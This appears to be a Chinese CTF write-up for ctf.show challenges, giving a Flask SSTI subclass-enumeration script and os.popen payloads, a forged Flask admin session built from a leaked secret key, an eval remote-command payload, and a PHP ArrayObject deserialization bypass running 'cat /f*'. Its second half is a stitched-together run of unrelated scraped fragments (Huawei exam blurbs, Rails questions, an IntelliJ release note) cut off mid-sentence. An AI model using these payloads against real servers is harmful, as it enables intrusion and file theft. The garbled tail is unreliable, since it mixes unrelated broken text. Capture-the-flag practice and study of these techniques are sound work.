目录
脑筋急转弯

没有看url,直接F12看源码了,所以多做了一会儿,其实是任意文件读取,img参数传的是base64编码后的文件名,图片源是base64编码后的文件。


传入index,php的base64编码aW5kZXgucGhw,得到index.php,其中包含flag



给了提示下载app.zip

在hello路径后存在ssti注入
简单记录下ssti现阶段的学习步骤
首先ssti注入如何通过已加载类的功能(如果没有就查找父类的其它子类)


文件读取:_frozen_imporlib_external.FileLoader
import requests
url="http://6d312c5b-0236-485b-b16c-44edf9d8e191.challenge.ctf.show/hello/"
for i in range(500):
# url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"]}}"
try:
re=requests.get(url)
if(re.status_code==200):
if '_frozen_importlib_external.FileLoader' in re.text:
print(i)
# else:
# print(re.text)
except:
pass
其中url的组成是[]、''基本类型,然后就是根据魔术方法, __base__是查找父类,__subclasses__()是查找子类,[i]是子类中第几个类
由此通过脚本遍历去获取子类中多少是含有目标类名。

使用["get_data"](0,"app.py")
本题执行:
{{[].__class__.__base__.__subclasses__()[99]["get_data"](0,"app.py")}}

但如果得到/flag由于斜杆的原因会导致url地址错误而不是传参。因此想到了前面做题Linux命令执行绕过 /不是简简单单(参见我前一篇NKctfwp),所以寻找到lipsum
这里用到了flask内置函数lipsum(还有url_for可以直接在payload替换)然后payload:
{{lipsum.__globals__.os.popen('cat `echo "L2ZsYWc="|base64 -d`').read()}}
其实这里还可以同文件读取 去找__builtins__,但用过脚本跑好像没有eval函数,后面做出来也就没深究了。下次ban了lipsum再学(不是)

随便注册一个账号进去发现部分源码,

发现了其中的密钥,并且查看session发现其中有含ey的字符串

结果拿着半截开跑,去jwt官网解密,格式都不对,硬搜,小半天过去了
然后发现是flask好像不对 自己写了一个(flask环境以前装过)
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def login():
session['loggedin'] = True
session['username'] = "admin"
session['role'] = "admin"
return "1"
if __name__ == "__main__":
app.run('127.0.0.1')
访问自己127.0.0.1,拿到session去替换题目的session成功以admin权限进入
发现能够任意下载,但没有/flag,所以尝试命令执行的方法

下载源码,发现可调用eval函数

一开始不知到eval函数如何远程命令执行,下面是找到的方法(注意用popen,system没有回显)
__import__("os").popen("ls /").read()

Payload:
hello/?eval=__import__("os").popen("cat%20/flag_is_h3re").read()
4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35
双修!先从最简单的密码学开始。
题目base,然后密文只有数字和字母A-F
先base16解码,再base32解码,再base64解码

第一眼看以为是关于绕过wakeup+特殊字符的php变量名传参
结果怎么也找不到相关php变量名相关知识和网页。于是就放弃了。。
复盘时发现别人也没做什么就是url编码了,但需要注意两点:
1.仅需要对变量名url编码
2.使用URIComponent,如下图:

然后就是传参进行反序列化,但单单寻常的方式传入并不能有任何反应,所以下面也是知识盲区
"ctfshow类未实现serializable接口",所以 找php中内置的实现了Serializable接口的类,这里使用的是
<?php
class ctfshow{
public $ctfshow = 'whoami';
}
$a= new ArrayObject();
$a -> a = new ctfshow();
echo serialize($a);
?>
//C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}
注意用php在线不能输出同样结果,我用的php7.3.4

输出的直接就是C开头的字符串,所以绕过了正则(好像还能低版本可以在O或a的冒号后的数字前可以加一个+来进行绕过)
所以最终payload:
C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}
华为OD机试题本篇题目:明明的随机数题目输入描述输出描述:示例1输入输出说明代码编写思路最近更新的博客华为od2023|什么是华为od,od薪资待遇,od机试题清单华为OD机试真题大全,用Python解华为机试题|机试宝典【华为OD机试】全流程解析+经验分享,题型分享,防作弊指南华为o
我想使用部分字符串搜索数组,然后获取找到该字符串的索引。例如:a=["Thisisline1","Wehaveline2here","andfinallyline3","potato"]a.index("potato")#thisreturns3a.index("Wehave")#thisreturnsnil使用a.grep将返回完整的字符串,使用a.any?将返回正确的true/false语句,但都不会返回匹配的索引找到了,或者至少我不知道该怎么做。我正在编写一段代码,该代码读取文件、查找特定header,然后返回该header的索引,以便它可以将其用作future搜索的偏移量。如果
所有题目均有五种语言实现。C实现目录、C++实现目录、Python实现目录、Java实现目录、JavaScript实现目录题目n行m列的矩阵,每个位置上有一个元素你可以上下左右行走,代价是前后两个位置元素值差的绝对值.另外,你最多可以使用一次传送阵(只能从一个数跳到另外一个相同的数)求从走上角走到右下角最少需要多少时间。输入描述:第一行两个整数n,m,分别代表矩阵的行和列。后面n行,每行m个整数,分别代表矩阵中的元素。输出描述:一个整数,表示最少需要多少时间。
K伙计们,所以我创建了这个赞成/反对的投票脚本(基本上就像stackoverflow上的那个),我试图向其中添加一些Ajax,这样页面就不会在您每次投票时都重新加载。我有两个Controller,一个叫grinder,一个叫votes。(磨床基本都是帖子)所以这是所有研磨机的索引(看起来像这样)这是该页面的代码。Listinggrinders"grinders/grinders")%>这就是我在views/grinders/_grinders.erb中的内容true)do|u|%>grinder.id%>"up"%>'create')%>true)do|d|%>grinder.id%>
我将restclient用于多部分表单,以将数据发送到restfulweb服务(它是Panda视频编码服务)。不过,诀窍在于我传递给restclient(Technoweenie分支)的文件来自用户提交的我自己的表单。那么,让我们来看看这个。用户将文件发布到我的Rails应用程序。在我的Controller中,它从params[:file]接收文件。然后我想使用RestClient将params[:file]传递给Panda。我在Panda服务器上遇到的错误如下。我注意到堆栈跟踪中的文件参数也在一个字符串中(我假设Panda将其转换为字符串以获得更好的堆栈跟踪)。~Startedreq
我在标准rails2.1项目中使用Test/Unit。我希望能够独立于任何特定的Controller/操作来测试分部View。好像ZenTest'sTest::Rails::ViewTestCase会有所帮助,但我无法让它工作,与view_testhttp://www.continuousthinking.com/tags/view_test类似Google出现的大部分内容似乎都已经过时了,所以我猜它并不真正适用于Rails2.1非常感谢任何帮助。谢谢,罗兰 最佳答案 我们正在使用RSpec在我们的Rails2.1项目中,我们可以做
我需要一些在ruby(1.8.6或1.8.7而不是1.9)中实现curry函数的示例。 最佳答案 下面是如何用block而不是方法来柯里化(Currying):defcurry(&block)arity=(block.arity>=0)?block.arity:-(block.arity+1)#returnanimmediatevalueiftheblockhasonereturnblock[]ifarity==0#otherwise,curryitargumentbyargumentargs=[]innermost=lambd
昨晚看到IDEA官推宣布IntelliJIDEA2023.1正式发布了。简单看了一下,发现这次的新版本包含了许多改进,进一步优化了用户体验,提高了便捷性。至于是否升级最新版本完全是个人意愿,如果觉得新版本没有让自己感兴趣的改进,完全就不用升级,影响不大。软件的版本迭代非常正常,正确看待即可,不持续改进就会慢慢被淘汰!根据官方介绍:IntelliJIDEA2023.1针对新的用户界面进行了大量重构,这些改进都是基于收到的宝贵反馈而实现的。官方还实施了性能增强措施,使得Maven导入更快,并且在打开项目时IDE功能更早地可用。由于后台提交检查,新版本提供了简化的提交流程。IntelliJIDEA
这个问题已经被问过很多次了,但我无法让它工作。我想像这样将多个变量传递给我的部分...这是部分material_fields.html.erb中的一行,我希望f.select预先填充Yes选项或“true”值。(有些情况下我希望它是假的)f可用并且有效,而feed不可用......我不知道为什么这不起作用。我在select语句之外尝试了,但它仍然不起作用。在这两种情况下,我都得到未定义的局部变量或方法“feed”。有人知道我的语法有什么问题吗? 最佳答案 我想通了是什么问题。我有后来我在同一个View中显然,当从一个文件渲染相同的部
我的应用有一个选择框供用户选择“地点”。如您所料,此选择框位于一个表单中。我还在页面上的某处执行了一个操作,该操作通过AJAX创建了一个新场所。创建新field后,我想更新field选择框以反射(reflect)这一点。我的解决方案是将选择框放在局部中,并从Controller中的创建操作中呈现局部。'venue/venue_select_box'%>局部看起来像这样:'Selectavenue'%>其中f是表单引用:问题是f在部分中未定义,所以我得到一个错误。一种解决方案是包括整个表格,但我觉得没有必要这样做,因为我没有更新整个表格。关于如何解决这个问题有什么想法吗?